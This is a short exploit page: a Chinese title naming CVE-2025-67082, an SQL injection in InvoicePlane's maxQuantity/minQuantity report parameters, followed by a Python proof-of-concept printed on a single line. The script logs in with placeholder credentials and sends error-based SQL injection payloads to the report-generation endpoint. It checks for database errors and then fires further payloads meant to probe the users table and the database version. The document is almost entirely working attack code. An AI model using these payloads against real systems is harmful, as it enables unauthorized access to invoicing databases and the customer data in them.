CVE-2025-67082: InvoicePlane maxQuantity/minQuantity参数SQL注入漏洞

import requests import sys # CVE-2025-67082 PoC - InvoicePlane SQL Injection # Target: InvoicePlane <= 1.6.3 # Vector: maxQuantity/minQuantity parameters in report generation TARGET_URL = "http://target-website.com/index.php/reports/generate" USERNAME = "[email protected]" PASSWORD = "password123" def login(session): """Authenticate to InvoicePlane""" login_url = f"{TARGET_URL.replace('/reports/generate', '/session/login')}" data = { "email": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return "login_success" in response.text or response.status_code == 200 def exploit_sql_injection(session): """Execute SQL injection via maxQuantity parameter""" # Error-based SQL injection payload to extract database version # The single quote breaks the original query, enabling injection payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END) AND '1'='1" data = { "reportType": "inventory", "maxQuantity": payload, "minQuantity": "0", "submit": "Generate" } try: response = session.post(TARGET_URL, data=data, timeout=10) if response.status_code == 200: # Check for SQL error messages indicating successful injection if "Division by 0" in response.text or "SQLSTATE" in response.text: print("[+] SQL Injection successful - Error-based extraction possible") return True return False except Exception as e: print(f"[-] Error: {e}") return False def extract_data(session): """Extract database information using error-based SQL injection""" # Payload to extract database user payloads = [ "1' AND (SELECT COUNT(*) FROM users) > 0 AND '1'='1", "1' AND (SELECT SUBSTRING(version(),1,10)) AND '1'='1" ] for payload in payloads: data = { "reportType": "inventory", "maxQuantity": payload, "minQuantity": "0" } response = session.post(TARGET_URL, data=data) # Process response to extract data print(f"[*] Payload sent: {payload}") if __name__ == "__main__": session = requests.Session() print("[*] Starting CVE-2025-67082 exploitation...") if login(session): print("[+] Authentication successful") if exploit_sql_injection(session): print("[+] SQL Injection confirmed") extract_data(session) else: print("[-] Authentication failed")